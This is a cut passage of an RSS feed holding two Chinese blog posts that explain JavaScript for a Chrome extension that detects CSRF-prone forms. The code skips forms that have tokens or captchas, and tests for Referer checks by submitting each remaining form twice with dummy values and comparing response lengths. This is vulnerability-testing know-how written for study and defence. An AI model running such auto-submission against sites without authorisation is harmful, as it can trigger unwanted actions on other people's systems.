    case &quot;#&quot;:
        actionPath = location.href + actionCache;
        break;
    case &quot;/&quot;:
        actionPath = location.origin + actionCache;
        break;
    case &quot;.&quot;:
        if(actionCache.indexOf(&quot;?&quot;) != &quot;-1&quot;){
            actionvParameter = &quot;?&quot; + actionCache.split(&quot;?&quot;)[1];
            actionCache = actionCache.slice(0,actionCache.indexOf(&quot;?&quot;));
        }
        if(location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length == 1){
            actionPath = location.href + actionCache.substr(1,actionCache.length-1) + actionvParameter;
        }else{
            actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache.substring(1,actionCache.length) + actionvParameter;
        }
        break;
    default:
        if(location.protocol == &quot;http:&quot; || location.protocol == &quot;https:&quot;){
            actionPath = location.href;
            break;
        }
        if(location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length == 1){
            actionPath = location.href + &quot;/&quot; + actionCache;
        }else{
            actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache;
        }
        break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当 action 地址的第一个值是&lt;code&gt;#&lt;/code&gt;时，直接使用 &lt;code&gt;location.href + actionCache;&lt;/code&gt; 拼接。&lt;/p&gt;
&lt;p&gt;当 action 地址的第一个值是&lt;code&gt;/&lt;/code&gt;时，使用 &lt;code&gt;location.origin + actionCache;&lt;/code&gt; 来进行拼接&lt;/p&gt;
&lt;p&gt;当 action 地址的第一个值是&lt;code&gt;.&lt;/code&gt;时:
先使用 indexOf 函数来把参数赋值给一个变量并去除，&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(actionCache.indexOf(&quot;?&quot;) != &quot;-1&quot;){
    actionvParameter = &quot;?&quot; + actionCache.split(&quot;?&quot;)[1];
    actionCache = actionCache.slice(0,actionCache.indexOf(&quot;?&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;详细的情况如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/action-query-split.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后根据有无后缀进行匹配:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length == 1){
    actionPath = location.href + actionCache.substr(1,actionCache.length-1) + actionvParameter;
}else{
    actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache.substring(1,actionCache.length) + actionvParameter;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length&lt;/code&gt; 是检测 &lt;code&gt;当前url&lt;/code&gt; 有无后缀，如果有那么长度是为 2。如果没有后缀长度是 1。如果没有参数，将不会加任何字符串，因为在初始变量的时候就已经设为空了。详情如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/dot-action-with-suffix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/dot-action-no-suffix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;除去这些之外，还有直接是文件名或者直接是 url，这里呢，我直接写到 switch 的 default 分之上去了，因为无法使用 &lt;code&gt;actionCache[0]&lt;/code&gt; 来匹配，代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;default:
    if(location.protocol == &quot;http:&quot; || location.protocol == &quot;https:&quot;){
        actionPath = location.href;
        break;
    }
    if(location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length == 1){
        actionPath = location.href + &quot;/&quot; + actionCache;
    }else{
        actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache;
    }
    break;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先是判断 &lt;code&gt;location.protocol&lt;/code&gt; 是否为 http 或 https 协议。如果是的话，直接使用 &lt;code&gt;location.href;&lt;/code&gt;。当不为 http:// 或者 https:// 的时候，跳过此 if 判断。接下来就是判断 url 的后缀存在。如果存在将运行: &lt;code&gt;actionPath = location.href + &quot;/&quot; + actionCache;&lt;/code&gt;，反馈如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/bare-action-no-suffix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;当存在后缀时，运行: &lt;code&gt;actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache;&lt;/code&gt;。反馈如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/bare-action-with-suffix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x04: 模拟 form 的参数 {#form-params}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var v = 0;v &amp;lt; formDom.find(&quot;:text&quot;).length;v++){
    var input = formDom.find(&quot;:text&quot;).eq(v);
    if(input.attr(&quot;name&quot;) != &quot;&quot;){
        if(input.val() == &quot;&quot;){
            ajaxParameter += input.attr(&quot;name&quot;) + &quot;=&quot; + &quot;15874583485&amp;amp;&quot;;
        }else{
            ajaxParameter += input.attr(&quot;name&quot;) + &quot;=&quot; + input.val() + &quot;&amp;amp;&quot;;
        }
    }else{
        continue;
    }
}
ajaxParameter = ajaxParameter.substring(0,ajaxParameter.length-1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 for 循环对当前 form 表单下属性为 text 的 input 标签，然后使用 &lt;code&gt;var input = formDom.find(&quot;:text&quot;).eq(v);&lt;/code&gt; 来进行赋值，把当前的 input 赋值给 input 变量。&lt;/p&gt;
&lt;p&gt;再使用 if 判断，当前的 input 标签是否存在 name 属性，如果没有，则使用 &lt;code&gt;continue;&lt;/code&gt; 跳出初始化表达式变量为 v 的本次循环。如果存在，再判断当前的 input 的 value 属性里是否有值，如果有值则直接赋值给 ajaxParameter。代码: &lt;code&gt;ajaxParameter += input.attr(&quot;name&quot;) + &quot;=&quot; + input.val() + &quot;&amp;amp;&quot;;&lt;/code&gt;，如果不存在则把 &lt;code&gt;15874583485&lt;/code&gt; 赋值给 ajaxParameter 变量，为什么要使用类似于手机号码的呢，因为容错率挺高的。可以看到我在每次赋值的时候，都会在后面加上&amp;amp;字符。因为方便下面发送 ajax。当然需要去掉最后一个&amp;amp;。于是乎，有了下面的代码: &lt;code&gt;ajaxParameter = ajaxParameter.substring(0,ajaxParameter.length-1);&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;0x04: 与插件的 background.js 进行通信 {#background-js}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;这里呢，我先说说“检测 Referer 的思路”，在当前网站发送一次 ajax 请求，Referer 的地址肯定是当前的 URL，是正常的，和普通提交 form 表单是一样的，这里呢，把 action 地址和 method 值及参数传给插件，在插件里再发送一次 AJAX 请求，chrome 插件发送 AJAX 时，Refere 是为空的。两次提交，如果存在 Referer 检测，那么返回的结果长度肯定是不一样的，如果不存在 Referer 检测，长度是一样的（当然可能存在个别的差异，因为可能要显示时间等，结果长度不一样，但是是不存在“Referer 检测”的，下面会增加容错率）&lt;/p&gt;
&lt;p&gt;Chrome 对插件通信提供了发送 &lt;code&gt;chrome.runtime.sendMessage&lt;/code&gt; 和接受 &lt;code&gt;chrome.runtime.onMessage.addListener&lt;/code&gt; 的 API。
首先让我们来看看 base.js 文件里的发送 &lt;code&gt;chrome.runtime.sendMessage&lt;/code&gt;API 代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;$.ajax({
    url: actionPath,
    type: (formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;get&apos;:&apos;post&apos;,
    dataType: &apos;html&apos;,
    data: (formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;&apos;:ajaxParameter,
    async: false,
})
.done(function(data){
    var firstAjax = data.length;
    var formCache = formDom;
    chrome.runtime.sendMessage({action: actionPath, parameter: (formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;&apos;:ajaxParameter},function (response) {
        if(Math.abs(firstAjax - response.status) &amp;lt; 10){
            formCache.attr(&quot;style&quot;,&quot;border: 1px red solid;&quot;)
        }
    });
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 form 的 method 属性的值是不确定的。所以就需要对 ajax 的参数 type 进行设置: &lt;code&gt;(formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;get&apos;:&apos;post&apos;&lt;/code&gt;，这里使用了三目运算符。当 method 的值不存在、为 get 的时候，type 为 get。当存在的时候，则为 post。&lt;/p&gt;
&lt;p&gt;下面的 data 参数同理。只不过没有了 get、post 选项。改为 &lt;code&gt;&apos;&apos;:ajaxParameter&lt;/code&gt;。因为 method 值为 get 时，参数是附在 actionPath 变量里的。当为 post 的时候，将把之前拼接的参数传给 data 参数。这里计算一下返回页面的长度 &lt;code&gt;var firstAjax = data.length;&lt;/code&gt;，至于下面的为什么要给变量再赋值一次呢，我也不知道，可能下面的 Chrome API 的作用域不同，导致在下面使用 API 的时候，使用 formDom 变量，结果不对。只能重新赋值给 formCache 变量，这个时候 API 才算正常。&lt;/p&gt;
&lt;p&gt;下面就是 Chrome 的 API 了:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;chrome.runtime.sendMessage({action: actionPath, parameter: (formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;&apos;:ajaxParameter},function (response) {
        if(Math.abs(firstAjax - response.status) &amp;lt; 10){
            formCache.attr(&quot;style&quot;,&quot;border: 1px red solid;&quot;)
        }
    });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 action 和 parameter 是发送的参数及值。至于代码 &lt;code&gt;(formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;&apos;:ajaxParameter&lt;/code&gt; 和上面同理，当为 get 的时候，不给 parameter 值，当为 post 的时候，值为 ajaxParameter。&lt;code&gt;response&lt;/code&gt; 为回调函数，类似 ajax 的 done 函数，返回 background.js 的处理结果。&lt;/p&gt;
&lt;p&gt;那 background.js 是如何处理的呢:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;chrome.runtime.onMessage.addListener(function(message,sender,sendResponse){
    $.ajax({
        url: message.action,
        type: (message.parameter == &quot;&quot;)?&apos;get&apos;:&apos;post&apos;,
        dataType: &apos;html&apos;,
        data: (message.parameter == &quot;&quot;)?&apos;&apos;:message.parameter,
        async: false,
    })
    .done(function(data) {
        sendResponse({status: data.length})
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;chrome.runtime.onMessage.addListener&lt;/code&gt; 是接受函数，然后就是 AJAX 了，在 done 函数里，有一个 API 是 &lt;code&gt;sendResponse({status: data.length})&lt;/code&gt; 返回插件发送 AJAX 时的长度。这个时候前端 base.js 将会受到 background.js 文件的返回结果。代码就返回上面的处理方式了:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(Math.abs(firstAjax - response.status) &amp;lt; 10){
    formCache.attr(&quot;style&quot;,&quot;border: 1px red solid;&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 Math.abs 是求绝对值的，当两次 ajax 返回的长度差值小于 10 的时候，说明不存在“Referer 检测”，当大于 10 时，就说明存在“检测 Referer 的机制”了。这里的 10 就是&lt;code&gt;容错值&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;当存在 CSRF 漏洞的时候，会在 form 表单的外部包含一个红色的框，如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/csrf-form-red-border.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</content:encoded><category>web security</category><category>csrf</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>自动化检测 CSRF</title><link>https://bugs.cc/zh/posts/automated-detection-of-csrf/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/automated-detection-of-csrf/</guid><description>使用浏览器插件做到自动检测 CSRF 漏洞</description><pubDate>Wed, 15 Jun 2016 12:49:37 GMT</pubDate><content:encoded>&lt;h2&gt;0x00 前言: {#intro}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;之前写过自动化检测 XSS 插件，今天来一发自动化检测 CSRF 的插件。CSRF 有多种情况的出现方式，而本章所说的内容没有办法做的那么全面，就比如 JSON Hijacking（第二章或者第三章会写），本章我们就说说 form 表单导致的 CSRF 漏洞。
检测 form 表单类型的 CSRF 漏洞和检测 form 表单类型的 XSS 漏洞最大的不同就是: XSS 需要提交才能检测到，而 CSRF 只需要分析 form 表单就行了。&lt;/p&gt;
&lt;h2&gt;0x01 前期的准备工作: {#preparation}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;既然要写，那么我们就需要 demo 来帮我们模拟真实环境的下的情况，而 0x00 节就说明了，本章只针对于 form 表单，所以我们的 demo 也就是各式各样的表单。如下图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF/demo-form-types.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;基本上来说网上常见的表单类别都包含了，当然如果你发现有些表单没有加入进去，请说明一下，我将会在下一版中修改。&lt;/p&gt;
&lt;p&gt;我们先遍历整个网页上的 form 表单。代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;outerFor:
for(var i = 0;i &amp;lt; $(&quot;form&quot;).length;i++){
    var formDom = $(&quot;form&quot;).eq(i); //formDom 代表本次循环的 form 表单元素
    var imageFileSuffix = [&apos;.jpg&apos;,&apos;.png&apos;,&apos;.jpge&apos;,&apos;.ico&apos;,&apos;.gif&apos;,&apos;.bmp&apos;]; //图片后缀白名单，用户验证图片是否为验证码
    var placeholderFilterKeyword = [&apos;跳&apos;,&apos;搜&apos;,&apos;查&apos;,&apos;找&apos;,&apos;登陆&apos;,&apos;注册&apos;,&apos;search&apos;];  //无用表单黑名单，用于验证这个 form 表单有没有用（针对 input 验证）
    var actionFilterKeyword = [&apos;search&apos;,&apos;find&apos;,&apos;login&apos;,&apos;reg&apos;];   //无用表单黑名单，用于验证这个 form 表单有没有用（针对 form 表单验证）
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至于为什么要加上 &lt;code&gt;outerFor:&lt;/code&gt;，是因为这只是最外层的 for 循环，里面还有 for 循环，为了方便我们在最里层的 for 循环里跳出最外层的本次循环。在最里层的 for 循环里我会使用 &lt;code&gt;continue outerFor;&lt;/code&gt; 来跳出最外层 for 的本次循环。（如果没有看懂，请返回上一行重新看，这很重要）&lt;/p&gt;
&lt;h2&gt;0x02 去除类似搜索、页面跳转等无用的 form 表单: {#useless-forms}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;首先我们需要假象一下有没有特殊的 form 表单，比如没有 action 属性，把请求交给 JavaScript 来完成。而这种特殊的 form 表单也很常见，所以这里我就先使用 if 判断 action 是否存在:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(formDom.attr(&quot;action&quot;) != undefined){
    //当 action 不为空的时候，进行下一步的操作
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就是使用 JavaScript 的 some 函数来对 action 进行判断，当 action 里的值满足于我们之前设置的黑名单里的字符串时，就直接 pass，使用 &lt;code&gt;continue&lt;/code&gt; 来跳出初始化表达式变量为 i 的本次循环。转化成代码就是下面这样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(formDom.attr(&quot;action&quot;) != undefined){
    var actionCheck = actionFilterKeyword.some(function(item,index){
        return (formDom.attr(&quot;action&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
    })
    if(actionCheck){
        continue;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果对 some 函数不明白的，请移步: &lt;a href=&quot;https://msdn.microsoft.com/zh-cn/library/ff679978(v=vs.94).aspx&quot;&gt;https://msdn.microsoft.com/zh-cn/library/ff679978(v=vs.94).aspx&lt;/a&gt;
而在 JavaScript 里是严格区分大小写的，所以在上面的代码中我使用了 toLowerCase() 函数，来把 action 里的值全部转化成小写，然后在其中搜索之前设置的 action 黑名单，看是否存在。而对比过程如下:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;action 的值–search（如果此次比对为 true，则不会向下进行比对）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;action 的值–find&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其返回的结果是布尔型。在《JavaScript 高级程序设计》里是这样说明 some 函数的:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;对数组中的每一项运行给定函数，如果该函数对任意一项返回true，则返回true。&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这个时候我们可以看到 some 前面有一个变量。因为 some 返回的是布尔型，那么 actionCheck 变量也是一个布尔型，假设当前这个 form 表单里的 action 的值为”/searchArticle.php”。那么就会匹配到黑名单里的 search 字符串，那么 some 就会停止向下循环，直接返回 true。
如下图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF/array-some-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后使用 if 判断 &lt;code&gt;actionCheck&lt;/code&gt; 变量。如果为 true，那么就使用 &lt;code&gt;continue&lt;/code&gt; 来跳出当前的循环，不向下运行，直接开始下一个循环。&lt;/p&gt;
&lt;p&gt;OK，上面的已经完成对 form 的 action 属性过滤了，那么下面的将对 input 进过白名单过滤。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var x = 0;x &amp;lt; formDom.find(&quot;:text&quot;).length;x++){
    var inputTextCheck;
    var inputText =  formDom.find(&quot;:text&quot;).eq(x);
    if(inputText.attr(&quot;placeholder&quot;) == undefined){
        continue;
    }
    inputTextCheck = placeholderFilterKeyword.some(function(item,index){
        return (inputText.attr(&quot;placeholder&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
    })
    if(inputTextCheck){
        continue outerFor;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先使用 &lt;code&gt;(&quot;:text&quot;)&lt;/code&gt; 来遍历当前 form 表单下所有 type 为 text 的 input 标签。&lt;/p&gt;
&lt;p&gt;inputTextCheck 变量是为了存放 some 函数的布尔结果。而 inputText 变量代表了当前的 input 标签。&lt;/p&gt;
&lt;p&gt;然后使用 if 判断当前 input 里的 placeholder 属性是否存在，如果不存在，则跳出初始化表达式变量为 x 的本次循环。不向下运行，且对下一个 input 标签进行之前的操作。如果存在且有值的话，if 里的表达式会返回 false。则这个 if 判断不会运行，而是向下运行，而代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;inputTextCheck = placeholderFilterKeyword.some(function(item,index){
    return (inputText.attr(&quot;placeholder&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
})
if(inputTextCheck){
    continue outerFor;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和之前判断 action 的情况的是一样的，这里就不在阐述了。&lt;/p&gt;
&lt;h2&gt;0x03 去除没有提交按钮的 form 表单: {#no-submit-forms}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;为什么要写这个，因为有些 form 表单不是给用户使用的，他没有提交按钮。对用户来说也是不可见状态。而且也不涉及较为核心的操作，那么我们就需要把这个表单剔除掉。代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(formDom.find(&quot;:submit&quot;).length &amp;lt; 1){
    continue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码较为简单，这里也不在阐述了。&lt;/p&gt;
&lt;h2&gt;0x04 去除具有 token 的 form 表单: {#token-forms}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;大家都知道对于 CSRF 来说，具有 token 的 form 表单基本是可以断定是不存在 CSRF 漏洞的了，当然排除同页面存在 XSS 漏洞和 CSRF 漏洞。&lt;/p&gt;
&lt;p&gt;而 token，我们应该怎么样发现呢？type 为 hidden？name 包含 token？，不不不。这些都不准确，没办法减少误报和扩大结果。那我们应该怎么做呢？&lt;b&gt;判断 type 为 hidden 的 input 标签里的 value 值的长度是否大于 10&lt;/b&gt;。&lt;/p&gt;
&lt;p&gt;具有 token 功能的 input 标签的特殊性:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;type 为 hidden&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;为了安全起见，token 一般是不会小于 10 位数的。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;总是以 input 标签为媒介的方式传输给后端服务器中。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;OK，那么我们可以遍历当前 form 表单下所有 type 为 hidden 的 input 标签，再判断 value 值是否大于 10。如果大于 10，说明这个表单很大程度上是具有 token 验证的表单，将会被程序丢弃。跳出初始化表达式变量为 i 的本次循环。把上面的话转化成代码就是下面这样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var j = 0;j &amp;lt; formDom.find(&quot;:hidden&quot;).length;j++){
    if(formDom.find(&quot;:hidden&quot;).eq(j).val().length &amp;gt; 10){
        continue outerFor;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序不复杂，复杂的思路。所以这里看起来代码其实也了没多少，而且相当的简单。所以这里就不对代码进行阐述了。&lt;/p&gt;
&lt;h2&gt;0x05 去除带有验证码的 form 表单: {#captcha-forms}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;有了之前写自动化检测 XSS 项目的经验，这里思路就清晰多了。获取 img 的 src 属性里的值，判断后缀是否为图片格式。代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(formDom.find(&quot;img&quot;).length &amp;gt; 0){
    var imageCheck;
    for(var z = 0;z &amp;lt; formDom.find(&quot;img&quot;).length;z++){
        var img = formDom.find(&quot;img&quot;).eq(z);
        var imgSrc = img.attr(&quot;src&quot;)
        if(!!imgSrc){
            if(imgSrc.indexOf(&quot;?&quot;) != &quot;-1&quot;){
                imgSrc = imgSrc.slice(0,imgSrc.indexOf(&quot;?&quot;));
            }
            imgSrc = imgSrc.substr(imgSrc.lastIndexOf(&quot;.&quot;),imgSrc.length);
            imageCheck = imageFileSuffix.some(function(item,index){
                return (imgSrc == item);
            })
            if(!imageCheck){
                continue outerFor;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先使用 &lt;code&gt;formDom.find(&quot;img&quot;).length&lt;/code&gt; 来判断当前的 form 表单里是否存在图片，如果存在，那么 if 判断会返回 true。进入 if 判断里面后，首先是一个变量，而这个变量是存放 some 函数返回的布尔结果的。&lt;/p&gt;
&lt;p&gt;然后就是一个 for 循环，对当前 form 表单里的 img 表单进行遍历。而变量 &lt;code&gt;img&lt;/code&gt; 代表了当前的 img 标签。而 imgSrc 变量代表了当前 img 标签里的 src。&lt;/p&gt;
&lt;p&gt;下面是一段 if 代码 &lt;code&gt;if(!!imgSrc)&lt;/code&gt; 为什么要这样写呢，是强制把 imgSrc 变量转成布尔型的，如果当前这个 img 标签是不存在 src 属性或没有值的情况下，将会返回 false，如果存在 src 且有值的情况下会返回 true。&lt;/p&gt;
&lt;p&gt;而下面的代码的是为了剔除&lt;code&gt;?&lt;/code&gt;后面的字符串:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(imgSrc.indexOf(&quot;?&quot;) != &quot;-1&quot;){
    imgSrc = imgSrc.slice(0,imgSrc.indexOf(&quot;?&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么要写这样的代码呢？原因很简单，未来防止验证码图片被浏览器缓存，需要再后面跟上问号和随机数字，来达到每刷新一次，就会重新请求这个图片。防止浏览器缓存图片。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;imgSrc = imgSrc.substr(imgSrc.lastIndexOf(&quot;.&quot;),imgSrc.length);&lt;/code&gt; 这段代码是剔除，除了后缀之外所有的字符串。只保留后缀。举个例子，有段 img 标签是这样写的:
&lt;code&gt;&amp;lt;img src=&quot;https://wwww.baidu.com/code.php?rand=458711541&quot;&amp;gt;&lt;/code&gt;，而运行上面的代码后，结果只有 &lt;code&gt;.php&lt;/code&gt; 了，剩下的字符串已经被剔除掉了。&lt;/p&gt;
&lt;p&gt;而下面的 some 函数，和之前是一样的，不做阐述。只是 if 里面的表达式里多了一个&lt;code&gt;!取反&lt;/code&gt;感叹号。为什么要这样写呢。因为之前的都是黑名单的形式，而这里的白名单的形式，既然是相反的，那么就使用&lt;code&gt;!取反&lt;/code&gt;就行了。&lt;/p&gt;
&lt;h2&gt;0x06 其他: {#misc}&lt;/h2&gt;
&lt;p&gt;整套代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;outerFor:
for(var i = 0;i &amp;lt; $(&quot;form&quot;).length;i++){
    var formDom = $(&quot;form&quot;).eq(i);
    var imageFileSuffix = [&apos;.jpg&apos;,&apos;.png&apos;,&apos;.jpge&apos;,&apos;.ico&apos;,&apos;.gif&apos;,&apos;.bmp&apos;];
    var placeholderFilterKeyword = [&apos;跳&apos;,&apos;搜&apos;,&apos;查&apos;,&apos;找&apos;,&apos;登陆&apos;,&apos;注册&apos;,&apos;search&apos;];
    var actionFilterKeyword = [&apos;search&apos;,&apos;find&apos;,&apos;login&apos;,&apos;reg&apos;];
    //去除类似搜索、页面跳转等无用的 form 表单
    if(formDom.attr(&quot;action&quot;) != undefined){
        var actionCheck = actionFilterKeyword.some(function(item,index){
            return (formDom.attr(&quot;action&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
        })
        if(actionCheck){
            continue;
        }
    }
    for(var x = 0;x &amp;lt; formDom.find(&quot;:text&quot;).length;x++){
        var inputTextCheck;
        var inputText =  formDom.find(&quot;:text&quot;).eq(x);
        if(inputText.attr(&quot;placeholder&quot;) == undefined){
            continue;
        }
        inputTextCheck = placeholderFilterKeyword.some(function(item,index){
            return (inputText.attr(&quot;placeholder&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
        })
        if(inputTextCheck){
            continue outerFor;
        }
    }
    //去除没有提交按钮的 form 表单
    if(formDom.find(&quot;:submit&quot;).length &amp;lt; 1){
        continue;
    }
    //去除具有 token 的 form 表单
    for(var j = 0;j &amp;lt; formDom.find(&quot;:hidden&quot;).length;j++){
        if(formDom.find(&quot;:hidden&quot;).eq(j).val().length &amp;gt; 10){
            continue outerFor;
        }
    }
    //去除带有验证码的 form 表单
    if(formDom.find(&quot;img&quot;).length &amp;gt; 0){
        var imageCheck;
        for(var z = 0;z &amp;lt; formDom.find(&quot;img&quot;).length;z++){
            var img = formDom.find(&quot;img&quot;).eq(z);
            var imgSrc = img.attr(&quot;src&quot;)
            if(!!imgSrc){
                if(imgSrc.indexOf(&quot;?&quot;) != &quot;-1&quot;){
                    imgSrc = imgSrc.slice(0,imgSrc.indexOf(&quot;?&quot;));
                }
                imgSrc = imgSrc.substr(imgSrc.lastIndexOf(&quot;.&quot;),imgSrc.length);
                imageCheck = imageFileSuffix.some(function(item,index){
                    return (imgSrc == item);
                })
                if(!imageCheck){
                    continue outerFor;
                }
            }
        }
    }
    console.log(formDom)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 console.log(formDom) 可以改为 ajax 等方式发包，或者 alert 直接提醒此页面可能具有 csrf 漏洞。至于如何使用，需要大伙手工打包成浏览器插件的形式。而这里我为大家附上我之前写的自动化检测 XSS 的插件: &lt;a href=&quot;http://pan.baidu.com/s/1ge5VTcf&quot;&gt;http://pan.baidu.com/s/1ge5VTcf&lt;/a&gt;。大家可以直接解包，修改里面的 JavaScript 代码为上面完整的代码，再重新打包就行了。&lt;/p&gt;
&lt;p&gt;文章呢，还有很多地方不足。而这套程序还只能说是雏形，所以我没有附上直接利用的工具给大家，也是第一次这样。而且有很多地方没有考虑到，比如 JSON Hijacking 检测。当然下一章会完成的，也会放出可以直接利用的工具。第二章或者第三章可能会把之前写的 XSS 自动化检测与本章所说的自动化检测 CSRF 相结合起来。毕竟 XSS+CSRF 的危害是非常大的。&lt;/p&gt;
